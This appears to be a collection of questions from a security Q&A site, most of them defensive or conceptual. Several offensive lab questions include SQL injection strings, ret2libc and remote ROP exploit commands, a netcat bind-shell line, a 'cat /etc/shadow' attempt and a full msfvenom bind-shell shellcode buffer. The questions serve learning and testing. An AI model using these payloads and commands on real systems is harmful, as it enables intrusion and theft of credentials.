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In websites related to facebook malware analysis and information, we often see messages to the effect of if you have run this facebook app then your account has been compromised, or if you went to your browser console and run this script then your account has been compromised. Change your password immediately. I can understand running a script while logging in may make it possible for messages to be sent or posted on walls automatically, but how is it possible for someone to obtain my password by me running a script or a facebook application? Does the password information that I sent to authenticate myself when I opened facebook somehow stay around in the browser until I log off? I can imagine cookies or some other temporary internet files storing my login session information somewhere that the browser can access, but wouldn't such information just give an attacker control over the current session? How would someone get hold of my password that I only enter during the login screen to authenticate myself in, by simply me running a script?
In order to prevent Cross-site scripting (XSS) in a private web application that supports image upload, I intend to reject browsers that are vulnerable to content sniffing. Which browsers are currently vulnerable to this exploit? PS. I'm aware of the X-Content-Type-Options header, which isn't fully supported as far as I know.
I have just now got 20 of my e-commerce websites scanned and certified by Comodo. I will be submitting them to my banks as well to prove that I am PCI compliant. But is there any regulation on who can show any pci logo and is there any choice of pci logo.
There is a site that allows you to see all SMS received by a certain set of phone numbers (owned by the site). This seems to be meant for services that require two-factor authentication using SMS, when you're unable (or unwilling) to provide your phone number for that SMS. Instead, you enter a phone number provided by that site and then use that site to view your authentication SMS. Obviously, this decreases security, because it basically turns the two-factor authentication back to one-factor (because that phone number is not “something you own”). But apart from that, is such site safe to use? Could they somehow use the received SMS to get access to my account, or for some other nefarious purpose? For the record, the site I'm talking about is http://receive-sms-online.org/.
I want to know when scanning using NESSUS, though it is said its non-intrusive by default But what I want to know is how the use / definition or the testing conditions mentioned in the plugin-id effect the outcome of the scan. Does these conditions or tests or checks make the scan more intrusive in some way. I.e sending crafted packets. For e.g When the plugin-id checks for default password does this change its definition of scanning/ enumerating ports alone. I have a recent example, where the gmond service 8649 was crashed as a results of scanning. It came to knowledge, that the service / port received non service traffic / data as a result its cpu consumption went to 100%. So, if its just non-intrusive port scanner how it resulted into crashing the service of remote host? It certainly is able to generate packets/ data as well. Actually, is it fair to say that nessus uses NMAP scans / ports scanning results for services, and version of different application to give verdict on its vulnerable state or it make use of plugin-id and others information to conclude, give confidence marks on how vulnerable the particular service may be? (More checks > same results-> higher degree of confidence). I appreciate if someone can help me understand what actually goes inside nessus core logic when it comes to make judgements / call on such matters. (vulnerable vs not vulnerable)
Theoretically I was thinking a firewall inspects the TCP header and looks at the destination port and discards/forwards based on its firewall rules. So could I port scan an external server to the firewall and see what ports are returned? I'm on a network where FTP, PPTP, and other stuff is blocked. I just want to know what ports are open on the firewall and available to me. Am I on the right track or is there more to it?
I'm building a database that symmetrically encrypts user data. Nothing super sensitive, I'd use a third-party if it was. The data is encrypted with a surrogate key; the user must enter a password to decrypt the data. An evil DBA cannot view the data as it's encrypted. Pretty standard so far. Given that only the user password (or rather, its hash) can decrypt database records, I need to somehow pass it across the session. So: I create my own unique session ID and store it in the database, in table "session". The same value is stored as a cookie in the user's machine ("user_session"). The database also contains a random key associated with that session ID. Another cookie, "user_pass", holds a XOR result of a hash of this random key and a hash of the user's password. When the user queries the encrypted database, the program XORs the "user_pass" cookie with the random key in the database -> arrives at the hash of the user password -> decrypts the db records. This way, no complete password data is stored on the server (in a temp session directory or in the database), nor in the user's machine. Is this the standard way of storing a key across the session? remember it's used to decrypt the database records. Assume we're using SSL. Vulnerabilities with DB backed session tokens and Is it safe to store password in PHP session? discuss this but don't fully answer my question.
The question is simple, and really interesting at the same time. How would you keep your data secure in case of a total compromise of your infrastructure? This should NEVER happen, but as we all know, bad things happen, and I'm preparing for the worst. I have two types of data: Log data (access logs from the application itself, security logs etc.) MySQL backups We already have a system in place where the MySQL backup and all logs including is getting transferred periodically to Amazon S3 storage. This will protect us in case of a total crash (should never happen either - Doomsday prepping!) But what if a malicious hacker were to compromise the entire system? What would be the best solution? He can easily take out our API key and misuse it to delete data from Amazon S3. We have expire rules in places so versioning is a no-go. I'm thinking of some kind of write-only service running on an entirely different system? Maybe something like Rollbar.com for logs and an entirely different server which pull down the database periodically, for completely off limits storage? What's your thoughts on my proposed solutions? Do you have any ideas? Comments? Is this secure enough? Any alternatives?
2G would leave you vulnerable to spoofed base stations. 3G tried to somewhat fix that using mutual authentication. Now, I tried to check how LTE handles this but I couldn’t find any usefull information. Are both client and network being authenticated in the current LTE standard, or can someone with a fake (LTE) base-station position themselves between the device and the network? Also – in the likely case that LTE also relies on mutual authentication – are there any papers you can point me to that handle related security analyses? Those would come handy as I am trying to compare the individual, security-related characteristics and according changes/enhancements from 2G up to LTE.
I'm setting up a reverse proxy to limit access to a protected resource. The protected resource provides a status page (http://protected.local/info). That page contains a number of links with query strings in order to drill down (http://protected.local/info/detail.asp?zip=01234). The interface does not provide a way for users to adjust the query string; rather, this application uses query strings to present a limited set of options for the user to click on. But as we all know, anyone can generate any URI and query string with their client. I would like to prevent people sending their own query strings in; I'd like to limit the query strings to the list of options that the protected server listed on the status page. Apache ProxyPass doesn't seem fit for the job; it won't work on query strings. The right solution seems like a proxy that whitelists any URI (including query string) that the proxy scrapes out of the pages the server is sending back. This means only server-generated links, not user-generated links, are allowed through. Is anyone aware of proxy software that can do that? Is there another solution anyone can suggest that allows me to provide strictly limited access via a proxy to a backend server that uses query strings in its URIs? Any help appreciated!
I am looking for a way to do the Token Kidnapping’s Revenge exploit by Argeniss. (The vulnerability is explained in here) I am studying security (beginner) and I would like to imitate the attack to see exactly what it does and how it happens. I am using two VMs (victim VM is Win 2003 server, no security patches). But I am lacking enough information on how to prepare the Win 2003 server VM for the attack! And the steps (especially after running the handler exploit from the attacking VM) I tried to follow the steps in the two resources I found about this kind of demonstration: 1) http://www.commonexploits.com/token-kidnapping-revenge/ 2) Playing with the MS09-012 Windows Local Exploit But I feel there is a gab here. I installed IIS 6 and ASP.net on the victim VM but I am not sure if that was it (in terms of preps) and I am also messing some steps that I think the resources assume I should know already! Any help about what I need to do to get this demo done? or is there another detailed how-to you can direct me to? I noticed other kinds of exploits are step-by-step detailed out there, but this one is not!
I'm training with labs and metasploit and there's some payloads I can send to my target and exploit it(in my subnet). If I have to exploit a payload I sent to a target outside my network which options does I need to use in my payload configuration ? I've tried the usual option of LHOST = 192.168.x.x and did not work well.I'm using a payload with only two options of LPORT and LHOST and a handler with LPORT and LHOST with the same options in metasploit. (Using Kali Linux) Any Ideas?
I really like the Java programming language, but I continuously hear about how insecure it is. Googling 'java insecure' or 'java vulnerabilities' brings up multiple articles talking about why you should uninstall or disable Java to protect your computer. Java often releases a huge number of security patches at a time, and yet there are still tons of vulnerabilities left to patch. I understand that there will always be bugs in software, but the amount of vulnerabilities Java has had does not seem normal (or am I imagining that?). What's even more confusing is that if there is a single architectural decision that is creating these vulnerabilities, why not change that design? There are tons of other programming languages that don't have this problem, so there must be a better way to do whatever Java is doing wrong. So why is Java still so insecure?
I just discovered the YubiKey NEO which seems like a pretty awesome device for maintaining security for a variety of different things including computer login, SSH private keys, GPG private keys, and even password safes applications. I generally understand how systems like Google Authenticator work, wherein the server and the client share a private key which generates 6-digit number keys based on the current time. This makes sense, as both sides need to compute these values on the fly and verify them. The client generates a key, sends it to the server, and the server computes the key based on the current time; if it matches, a successful login occurs. However, in other cases, notably in static files like private SSH keys, private GPG keys, and password safes, how would something like the YubiKey NEO assist in being able to unlock the private file? Encrypting these files using a passphrase or using a file as a seed for a passphrase is straightforward, but how would one-time passwords work with this? My particular use-cases are: Being able to log into my Linux desktop. Being able to further secure my GPG private keys. Being able to further secure my SSH private keys. Being able to further secure my password safe (KeePass, Password Safe, etc.).
There are many sites that have self-signed ("untrusted" in Firefox) certificates. I then have the option to trust them or not. If I not trust them I can either leave the site or only visit the site fully unencrypted. I know, there are cases where I should not use the site at all if there's the smallest risk of "being watched" (online banking, shopping, and so on). So, the question is more like: On non-critical websites, e.g. sites I only read (news or blogs for example), is there any reason to not trust a self-signed certificate? In the worst case "I'm watched", which I could be anyways if I used unencrypted HTTP.
The term PRF is mentioned in the documentation of the IKE (Internet Key Exchange) protocol. What is a PRF? What is the difference between a PRF and a hash function? What PRFs are used in the IKE protocol?
A comment to this blog post at sans.org about secure file uploads suggests making a pre-formatted template available for users when they need to do file uploads. The user would use the template to add their own data and upload the resulting file. It suggests "encode the template in some way that an attacker would have a difficult time spoofing..." This would supposedly help stop malicious files masquerading as the correct file types. Would this work and how would one "encode" the template?
Google Apps has a feature to monitor users' password strength and notify administrator about it. Google help says: View the length of each user's password along with a graph showing its relative strength based on other criteria. The graph's indicators can assess password strength upon user login. The indicators change over time in relation to your password length requirements and common passwords known to be vulnerable. Does the fact that indicators change over time means that Google actually keeps plain-text version of the passwords?
In IKE protocol; what is the PRF ? What is "the generation of a key based on modeled random oracle hash functions"?
It has been a while now since the Snowden revelations of various NSA malware and backdoors. For instance: March 12, 2014: NSA has developed implants to take over targeted computers’ microphones and webcams, record keystrokes and internet browsing histories, and save data from removable flash drives connected to targeted computers. These implants often enable NSA to circumvent encryption software. December 30, 2013: NSA has developed a keystroke logger that functions even when the target computer is not connected to the internet. December 29, 2013: NSA prefers to install malware in BIOS, rather than on hard drives. Also, the NSA has already installed malware on probably millions of computers (is.gd/dCpQgE) (and hundreds of thousands almost certainly (is.gd/QQ4RRI)). Given the prevalence of this malware, and that most antivirus companies refused to state whether they have worked with government agencies to whitelist certain malware, how can NSA implants and backdoors be detected?
Like the title says, what happens if my ISP gives my connection (by accident/on purpose) a public IP address that someone else is currently using to browse the web or send an email or pay his bills? More importantly, what are possible exploits (for me, the other guy with the same IP, a third party maybe) and how are they prevented? Also, is there any difference with IPv6 vs IPv4 related to this question? Of course I'm just asking out of curiosity :)
I'd like to be able to ban an IP from my website, but for privacy reasons I would like to not have a record of the IP itself. Hashing the IP would allow for the hash to be brute forced in mere minutes, and salting it would be useless because anyone with access to the bans database would have access to the salt. Is there any way that I could keep some kind of "fingerprint" of an IP, probably involving hashing, that would be feasible to generate on a server but infeasible for an adversary with moderate resources to brute force?
I'm developing a file hosting and sharing web application. Are the following PHP session settings secure enough? ini_set('session.cookie_httponly', 1); ini_set('session.cookie_lifetime', 0); ini_set('session.entropy_file', '/dev/urandom'); ini_set('session.hash_function', 'whirlpool'); //is whirlpool that necessary? ini_set('session.use_only_cookies', 1); ini_set('session.hash_bits_per_character', 5); ini_set('session.cookie_secure', 1); session_name('sid'); session_start(); if (!isset($_COOKIE['sid'])) { $_SESSION['token'] = CryptoCharGen::alnum(); //20 chars } To add on to the security: Tying a cryptographically strong CSRF token to the user session for form validation. Regenerating a new session ID upon logging in and out and destroying the old session. Regenerating a new CSRF token upon successful submission of any form. I've read to rename the default PHP session name, so I named it sid instead. Is that good enough? Should I generate the session id with my own generator? (CryptoCharGen) Should I be concerned about how I name my session variables?
Would PGP work as a method of sharing the AES key, as shown below, and what would be the flaws with this method of encryption? Server sends PGP public key Client generates (uses as AES key for networking) and encrypts random 128 byte key with PGP public key Server decrypts data with PGP private key and uses as AES key for networking Obviously current standards such as SSL/TLS would work better, and the keys would need to be checked at some sort of CA (perhaps a public PGP key server)
What's the security issue of this scenario related to tampering with the continue parameter: Go to: https://accounts.google.com/ServiceLogin?service=[service name]&passive=true&continue=https://[service].google.com/?continue=https://efbrcko.com/&ltmpl=ae When I sign in, I get redirected to efbrcko.ba/?state=[long random char text] What is the state value used for? Could this be considered a vulnerability, e.g. token hijacking or something similar?
I want to identify the hash algorithm used by an online service. What I have now is thousands of pairs of original string and result hash. Some examples: 62.152.39.195 25d10817d8d2836925 62.152.39.200 c20147df170843824c The result is 18 hexadecimal characters, as you can see. Is there any algorithm for such identification? Perhaps something that's related to machine learning?
For those who don't know: Telegram is a partially open source Whatsapp alternative (Server is closed source) which offers secret chats and normal chats. Secret chats are encrypted with Diffie-Hellman key exchange and are end-to-end encrypted. One can verify his peer's signature using a barcode. Normal chats are not end-to-end encrypted, but have the benefit of being synced between one's devices. Telegram has been widely criticized for using a brand new protocol, MTProto. Whether MTproto is actually secure or not is out of the scope of this question, let us assume it is insecure. Since DH is used in secret chats, will a compromise of MTProto compromise secret chats? Are DH and MTproto coupled in such a way that if MTProto fails, DH fails? Or is it layered so that the two must fail for secret chats to become vulnerable? In short, if one does not trust MTProto, can one still trust secret chats thanks to DH? Note: MTProto also uses DH for device registeration, this is unrelated. Useful official documents: Detailed description of MTProto Technical FAQs Secret chats Update: Anton Garcia Dosil stated that DH is just a way to distribute keys and is not an encryption method itself. This is definitely true, and I apologize for being a bit vague here. A clearer formulation of my question would be: Once the two peers exchange DH keys and begin end-to-end encryption, does MTProto use an encryption method which is known to be secure? or does it use yet another home brewed encryption scheme? If it does use a known encryption method X for secret chats, Are X and MTproto coupled in such a way that if MTProto fails, X fails? Or is it layered so that the two must fail for secret chats to become vulnerable?
I'm conducting some basic pen testing against a page protected with Basic Authentication. I've sucessfully tested with Medusa and Hydra but am struggling to get the syntax correct for ncrack. The syntax I have been using usually gives the following error (which I am not entirely sure what it means) Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2014-05-10 13:37 EDT Failed to resolve given hostname/IP: . Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges* the web page is hosted on a local vm pointing to the webpage /~alice/secret/ ncrack -m http -U users -P adobe25 http://webserver_ip -path /~alice/secret/ Any help on explaining/fixing this syntax would be greatly appreciated.
Company A needs to set up an IPsec VPN with company B, where each side will configure its own devices. Is there a recommended practical and quick way to communicate a pre-shared key from A to B? I understand that using e-mail is discouraged for security reasons. And telling it over the phone is inconvenient and error-prone.
[I'm not really sure if I should be posting this on SO or here. I think my questions might be answered if I have had a good experience with MySQL. But, I don't. So probably, most of you will definitely want to tell me to read a good SQL book (if so, do tell me which books to read as the answer to my questions won't be directly answered in any book. So, I'd definitely want to read a book which answers such questions). However, currently I want to get my hands dirty with web app pen-testing and I can't do so without directly diving into it. Also, experience and knowledge comes with practice. :) So please bear with me.] I am new to Web app pen-testing and am practicing SQL injection on Mutillidae. I'm at the user info login page and I gave the input as ' or 'a' = 'a. Worked. I got all the records from the database. Now I want find out how many columns are there in the database and the column types (just for practice). I wanted to try out the "ORDER BY" method and the "UNION SELECT 1, null,null--" method metioned on the OWASP's testing for SQL injection web page. So I gave my input as ' or 'a' = 'a' ORDER BY 3-- (please note there is a space after --. I'm not sure how to put it in the pre-formatted text) as there were 3 fields returned in my previous attack. Worked again. So I played around with the query. I tried 1,2 instead of 3 in the 2nd query and they worked fine. The only change was that the order of the records returned were different. However the query also worked when I gave the input query as ' or 'a' = 'a' ORDER BY 4-- and ' or 'a' = 'a' ORDER BY 5--. However, I still see 3 fields in the output. Also, the query didn't work when I gave ' or 'a' = 'a' ORDER BY 6-- or any higher number than 6. Instead I got an error. My questions: Why does the query work when I give 4 or 5 as the input? Does that mean there are 5 columns? If so, why do the output records contain only 3 fields? Why does the query not work when I give any value >= 6? I also noticed that the space is necessary after the --. If I don't give a space, the SQL injection won't work. Why do I need a space? Why isn't a ; (semi-colon) necessary in my injected query. As far as I know MySQL, it doesn't execute the query unless I give it a semi-colon. However, my query executes here perfectly without a semi-colon. Why?
Is it possible that someone who is in charge of a network serving many users, can see what site we visited? I mean, we have only one internet connection, and we used WiFi to be connected. Is it possible that the one who is managing the network can monitor the sites I visited?
A well known company in Oil and Gas field, sends the email message as PDF attachment, with brief explanation, here is an example: Dear Mr Name, Please review the attached document acknowledging your recent activity on ..... Regards, Company Recruiting Team Is there any security benefit behind this?
I want to send the new releases of my application in encrypted, signed archives to the server. Are PHAR archives a good solution to do that? Is PHAR secure enough?
About several years ago I found a website during a pentest which had the Access-Control-Allow-Origin header set to "*". I made a POC to get the response of a webpage from an untrusted domain. The goal was to get the CSRF token from the webpage, which was displayed for logged in users. So the HTTP request performed by the POC actually sent user's cookies. The scenario was like this one: User is logged on a.com User loads POC from attack.com The POC sends an HTTP request with user's cookies to a.com The POC retrieves the CSRF token and perform actions on a.com I'm pretty sure the POC sent user's cookies, that I did not use the withCredentials attribute, and the header Access-Control-Allow-Credentials was not present in the targeted website. I used Firefox at this time. Nowadays, the header Access-Control-Allow-Credentials: true is required in order to allow the response to be available plus the Access-Control-Allow-Origin header should not be set to * if cookies are sent. So my question is, since when this restriction was added ?
I can't make Skype calls outside of my country because they are blocked. As far as I understand, Skype uses strong encryption for the calls, thus, making Deep Packet Inspection unable to detect it. If it's not DPI, then what it can be? People I know suggested me to use VPN, but I can't understand why, because Skype implements encryption.
Is my PHP authentication script secure? I noticed that the hashes start with the first two letters of the username. Could there be a security flaw using crypt() in such a way? <?php // Credentials : // admin / P4ssW0rd // j.doe / r0x0r $cred = array( 'admin' => 'adkFV/7Pa.Em.', 'j.doe' => 'j.4AzOhv10e1M' ); $salt = 'abcdefg'; $user = $_POST['login']; $pass = $_POST['pass']; if (isset($cred[$user]) && crypt($salt . $pass, $user) == $cred[$user]) { echo 'Access granted'; } else { echo 'Access denied'; }
I received a message recently on a droid phone that appeared to have originated from an Iphone in my contact list. I was able to look at the Iphone from which the message appeared to have originated and it showed the exact same message as having been sent from that Iphone. But I don't think the message actually originated on that Iphone. Is it possible to spoof a message so that the message appears on both the droid phone as a received message and on the Iphone as a sent message simultaneously?
Is it possible to add backdoor to a file with the same size and crc32 checksum (4bytes)? (The file does not contain byte code, it contains program code as text. The language is PHP.)
A one-time pad is known to be theoritcally secure, nothing can break it. However, if the key is reused, the one time pad becomes theoritically breakable. But even RSA is theorically breakable yet it's widely used because it's practically secure. So, is a One-Time pad with a sufficiently long looping key practically secure? If it's secure, how long does the key need to be in order for it to become practically unbreakable on a modern PC? If it's insecure, why? how does one break it? An example of a looping OTP Key: LemonLemonLemonLemon........
I am doing a minor project on information security in which i am implementing techniques listed below to protect a HEALTH CARE database. Preventing SQL Injection (using prepared statements,validating,using a tokenization algorithm) Preventing CSRF attack (inserting a hidden token in the form) Preventing Brute Force attack (locking account after 5 unsuccessful attemts) Preventing XSS Validating every input Initiating Session only on cookies Implementing negative database.(http://en.wikipedia.org/wiki/Negative_database) Encrypting Confidential Information limited privilege for every user EDIT I am also implementing these points which i dont post earlier bcz i thought they are less important. but the answers here clearly shows the importance of these points: Audit Log Strong password Secure connection using session_set_cookie_params Access Control So now my question is- Is there anything left that i m forgetting?? i know a few of them like security on network layer etc. I am running my project on localhost so i think i cant do anything on network layer.
I'm still young (16 years old) and I haven't entered the security field yet. I'm curious how much programming I need to enter the security field. I can write real-life programs in Python. I can also understand programs written in different languages (Java, C/C++ C# every language that is C based). I can also write programs in C, but I still I haven't written a real-life program. I have watched videos posted by Open Security Training about assembly to intermediate level, so I understand assembly also. Would I be able to join the security industry or I should continue learning how to program?
A critical security update for Adobe Acrobat Pro and Standard 9 on Mac OSX is only available over HTTP, and is unsigned code. Is there any out-of-band way to verify the download is authentically from Adobe?
If I have an encrypted RAR file which will only open using a password, and I opened a file directly from within WinRAR by double clicking the file inside WinRAR, I assume that WinRAR will create a temporary version somewhere in the drive (temp folder?) before opening it using the default application assigned by the user in the system. Does WinRAR make sure to delete all traces of the file once the archive is closed? or will it keep the temp file somewhere in the file system?
How do people who decrypt encrypted messages know they have decrypted to the correct message? Do they just keep decrypting until the message is in English (or any other language), or is there a standard, proven method that says that when a certain algorithm is applied to an encrypted message, the original message is reproduced? I was just thinking about this today and it struck me that it is quite possible to hide a message inside what seems to be the actual message, which could be intended to throw off anyone who might be trying to decrypt the encrypted message without knowing the encryption technique. So with this new insight, it sort of makes it impossible to decide if the message decoded is the original, or another puzzle. Is this a thing, or am I missing something? Edit: I feel I should narrow this down to a specific instance, so that answers are less broad. In the case of a war, when the one side intercepts an encrypted message/transmission, is it always guaranteed that the decrypted message is the original intended message [before encryption]? Say you have a job of decrypting intercepted messages, and are given an intercepted encrypted message intended for the enemy, how would you even start decrypting it or choosing an algorithm that could do it? Is there like a step by step process that the entire process from A-Z depends on and is proven to work? Also as one of the answers pointed out, how would you know the enemy is sending encrypted coordinates or a message? Or is the same decrypting technique used universally? In essence, are humans so predictable that any encryption technique developed is following some predefined pattern (answer with pattern or link)? I hope this is enough to set some new answers on the right track.
I have successfully exploited a program using ret2libc but I am running into a problem. Whenever I feed system() with /bin/sh I have nothing in return the program silently exit. However, if I feed echo val > /t and I read /t I get val. So I am able to run partial commands and I want to know which commands can be used instead of spawning a shell? I thought of: nc -l -p 99 #but I get illegal arg -p cat /etc/shadow #but I get sh: 1: tc/shadow: not found I would like to know what other possibilities I can execute that would give me access to the vulnerable server/computer bearing in mind that reverse shell (nc -l -p -e /bin/sh) didn't work due to string limitation of some sort.
I have the following scienarion: a vulnerable program running in a server and can be accessed using netcat I have a copy of that program locally and I can exploit it locally using ROP: ./vuln garbage + &system() + &exit() + &"/bin/sh" now I want to exploit it remotely so technically I would be executing this command: echo -e "garbage + &system() + &exit() + &/bin/sh" | nc host port My problem is: I do not know what is &system() on the remote machine. Is there any way to get it without brute force ie: trying all memory address from 0x00000000 -> 0xFFFFFFFF ps: &exit() is negligible but good-to-have
I'm sorry, i'm newbie in security, i'm looking for a software that detect changes in the whole operating system during its execution, that's helps analysing the behaviour of malicious software to know its impact in OS ? I've already seen this kind of software but i have forgot his name.
Within the design of my web application, I am trying to now choose the final steps of the members profiles for security. *I need to choose if I should use a system which you login with a username or email, and which is more secure? With the current members table design, I have this setup: The member ID is randomized out of 8 digits. They have a nickname to display when they are welcomed. E.g. Welcome, $nickname. Passwords are encrypted using bCrypt. On top of the security which I have added into the design of the web application, which is more secure? A username and password or email and password? Also, I do know the new standards are to the email and password, as I am seeing more of.
In several papers, I see the quote of the following security paper, which concerns SSL: EADS Defence and Security Systems SA. Investigations about ssl. http://www.eucybervote.org/Reports/MSI-WP2-D7V1-V1.0-02.htm. Unfortunately, I can't find it anywhere, by checking the address directly or by using a web crawler. Where could it be available on the Internet (if it still is)?
Disclaimer: I have low knowledge of X.509 and PKI, so I would appreciate an answer that is not entirely technical, i.e. by using real-life example scenarios.) I was searching for information about 4096-bit TLS certificates, found an article talking about it and how you could generate a self-signed certificate. Signing your own key. openssl x509 -req -days 730 -in my.csr -signkey my.key -out my.crt Signing your key will save you the few bucks a year a CA will charge you, but it will not be recognized by others unless they import your certificate. The not recognized by others part left me wondering. To me, X.509/PKI works a bit like OpenPGP: it has asymmetric cryptography, trust is built with certifications, etc. Let's take a widely-trusted CA, for instance VeriSign. If signing a certificate asserts trust (= the root VeriSign cert signs the intermediate VeriSign cert, the latter becoming trusted too), then I have the following question: Is it possible that a CA (like VeriSign) make another CA trusted (so that, for example, a CAcert-issued certificate would become valid and recognized in browsers, just by VeriSign signing the root/intermediate certificate of CAcert)? Would that even work with self-signed certificates? Or do I wrongly understand X.509 and CAs cannot interact with each other?
One of our clients is launching a new site and I've been tasked with making a short overview of the advantages/disadvantages of Akamai, Incapsula or other CDN providers who are strong with DDoS protection. Our main concerns are CDN Caching, bandwidth costs and DDoS protection. The site operates on a heavily customized Joomla core and will be used for distribution of e-content (mostly images, mostly ~500KB). At launch we do not plan to use it for any kind of direct sales, but we may have a premium subscription down the road. A previous project we did with the same client was crippled by DDoS attacks, so effective DDoS protection is a must. I would be grateful to hear your experiences and suggestions. PS - Cloudflare is not an option. EDIT: First, let me say I am not the most technical person on our team. What I do know is that the client's previous website was brought down by repeated DDoS attacks. The COO tells me that it was an HTTP flood on an Ajax object and that the attackers bypassed cookie challenges. I also know that at the time we were offered the option to manually block malicious IP's, which wasn't good enough. So speaking of challenges . . . my task is to find an alternative for the new site that will be tested by the team. We were looking at Akamai and I found out about Incapsula because they blocked a similar attack. http://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html Both CDNs are probably good enough, but I would be very grateful to hear from someone with hands-on experience. Most importantly I need to know about DDoS protection, preferably based on actual real world experience.
I am learning about Deauth attacks and how they work. I see that the Deauth frame has a reason code which indicates the reason for the deauth. I have tested the attack with aircrack-ng and this reason code always translates to "Class 3 Frame received from non associated station". Do other attack tools have the ability to spoof/tamper the reason code or is it always the same? Second part of my question is about post attack scenario. Victim can black list the MAC which sent the Deauth frames but that MAC will be of the legitimate Access Point or another client. What are the options for a victim ?
I have a Linux server running SSHD and would like to know if its possible to configure it, such that from within the LAN you only need a RSA key to authenticate (on port X), but from outside the LAN the user would need to authenticate with both a RSA key and an OTP password generated by a PAM module (via port Y)? I tried configuring /etc/ssh/sshd_config with the match condition: match user XX LocalPort 22 PasswordAuthentication no RSAAuthentication yes match user XX LocalPort 12345 PasswordAuthentication yes RSAAuthentication no It gives me the error: bad parameter implying that this command isn't supported, although in the sshd_config manual it says that it is. In summary, my question is: Is it possible to have different authentication methods for the same user depending on which port they SSH into?
I have been involved in disassembling Android apps using baksmali and dexpler. Whenever I disassemble an app, I find the packages and package hierarchy (that would have been available in development scenario) intact. For instance, when I disassemble a task manager app (MD5: 3377f8527479ab4e72bf9fa5eec62abe), I get the package hierarchy as shown in the figure below.. In this context, I have the following questions, Will this hierarchy of Java packages be preserved and retained while building apps. When we develop apps, of course, we use many packages and we put them in a hierarchy while we build the app. But, all the code written by developers will be converted into a single classes.dex file. Will the packages and package hierarchy information be retained in this classes.dex file or any other part of the apk file (like META-INF)? If this information is not available from .dex, where does this come from? How does every disassembling/ decompiling tool manages to extract this package hierarchy? Where to find documentation/ literature relevant to packages and package hierarchy in the app building process? I tried skimming thro' Android documentation in vain.
Is there another way to verify someones public key without a CA signing it? A challenge-response authentication including some sort of UID of the smartphone? Smartphone A generates asymmetric key pair A sends public key K1 via internet to Smartphone B B recieves a public key K2 How can B be sure that K2 = K1 ?
When using msfvenom, I am under the assumption that the following syntax should give me shellcode without \x00 \x0a \x0d or \x40, because of the -b option msfvenom -p windows/shell/bind_tcp -b '\x00\x0a\x0d\x40' -f python However, every shell code I get still has one of these characters in it... e.g. buf = "" buf += "\xbd\xb8\x8c\x23\x17\xd9\xce\xd9\x74\x24\xf4\x5a\x2b" buf += "\xc9\xb1\x4a\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2" buf += "\x4d\x70\xcb\x91\xad\x89\x0c\xfe\x24\x6c\x3d\x2c\x52" buf += "\xe4\x6c\xe0\x11\xa8\x9c\x8b\x77\x59\x16\xf9\x5f\x6e" buf += "\x9f\xb4\xb9\x41\x20\x79\x05\x0d\xe2\x1b\xf9\x4c\x37" buf += "\xfc\xc0\x9e\x4a\xfd\x05\xc2\xa5\xaf\xde\x88\x14\x40" buf += "\x6b\xcc\xa4\xeb\x27\xc1\xac\x08\xfd\xe0\x9d\x9e\x8a" buf += "\xba\x3d\x20\x5f\xb7\x77\x3a\xbc\xf4\xce\xb1\x76\x8e" buf += "\xd0\x13\x47\x6f\xe3\x5b\x0b\x4e\xcb\x51\x52\x96\xec" buf += "\x89\x21\xec\x0e\x37\x31\x37\x6c\xe3\xb4\xaa\xd6\x60" buf += "\x6e\x0f\xe6\xa5\xe8\xc4\xe4\x02\x7f\x82\xe8\x95\xac" buf += "\xb8\x15\x1d\x53\x6f\x9c\x65\x77\xab\xc4\x3e\x16\xea" buf += "\xa0\x91\x27\xec**\x0d**\x4d\x8d\x66\xbf\x9a\xb8\x24\xa8" buf += "\x6f\x88\xd6\x28\xf8\x9b\xa5\x1a\xa7\x37\x22\x17\x20" buf += "\x91\xb5\x58\x1b\x65\x29\xa7\xa4\x95\x63\x6c\xf0\xc5" buf += "\x1b\x45\x79\x8e\xdb\x6a\xac**\x00**\x8c\xc4\x1f\xe0\x7c" buf += "\xa5\xcf\x88\x96\x2a\x2f\xa8\x98\xe0\x58\x19\xbc\x58" buf += "\x0f\x5b\x42\x4e\x93\xd2\xa4\x1a\x3b\xb2\x7f\xb3\xf9" buf += "\xe1\xb7\x24\x01\xc0\xeb\xfd\x95\x5d\xe2\x3a\x99\x5e" buf += "\x20\x69\x36\xf7\xa3\xfa\x54\xcc\xd2\xfc\x70\x65\x82" buf += "\x6b\x0e\xe7\xe1**\x0a**\x0f\x22\x93\xcc\x85\xc8\x32\x9a" buf += "\x31\xd2\x63\xec\x9d\x2d\x46\x66\x17\xbb\x29\x11\x58" buf += "\x2b\xaa\xe1\x0e\x21\xaa\x89\xf6\x11\xf9\xac\xf8\x8c" buf += "\x6d\x7d\x6d\x2e\xc4\xd1\x26\x46\xea\x0c\x00\xc9\x15" buf += "\x7b\x90\x36\xc0\x42\x16\x4e\x66\xa7\xda" Am I misunderstanding the -b option?
A flaw in WPS is that you can crack each half of the 8 numerical digits independently (2x 4 numerical digits are much easier than 1x 8 numerical digits). However, since the flaw was discovered, why not apply a patch and only send a response if and only if the client has the whole password right? Implement a time-out and your router is secure for the next 1,000 years. But why is the hole still open?
I was an idiot and sent my passport and address to a scam artist I was hoping to rent an apartment from abroad. Luckily, I realized the trickery before sending anything else or any money. Unfortunately, the person is now using my passport and photos of me to lure in other people. I have two questions: What should I do now to try to stop them from using my identity? Am I at risk of further identity theft e.g. breaches that would be damaging to me, not just harmful to others?
I’m administrating a few Debian Linux server, and install package updates when apticron notifies me of them. Occasionally I see updates to linux-image-[something] packages, but don’t bother to reboot the server. How bad is this in terms of vulnerability?
I've tried to understand the content of the Finished message of TLS. I'm using WireShark to capture the traffic between my browser and the internet. I noticed a "strangeness" when the chosen ciphersuite is AES_GCM. Being it a stream-cipher, it has no padding, so, if I got it right, the data being sent in the Finished message should be: 8 bytes Explicit Nonce 12 bytes verify_data 16 bytes authentication tag That is, 36 bytes in total. The "problem" is that the Finished message packet size is 40 bytes. And here it is: Server-to-client Why is the message packet 40 bytes? And what are the red bytes? And why does WireShark see two Hello Requests? And another this... the Client answers with a 176 bytes packet: Client-to-server What am I missing?
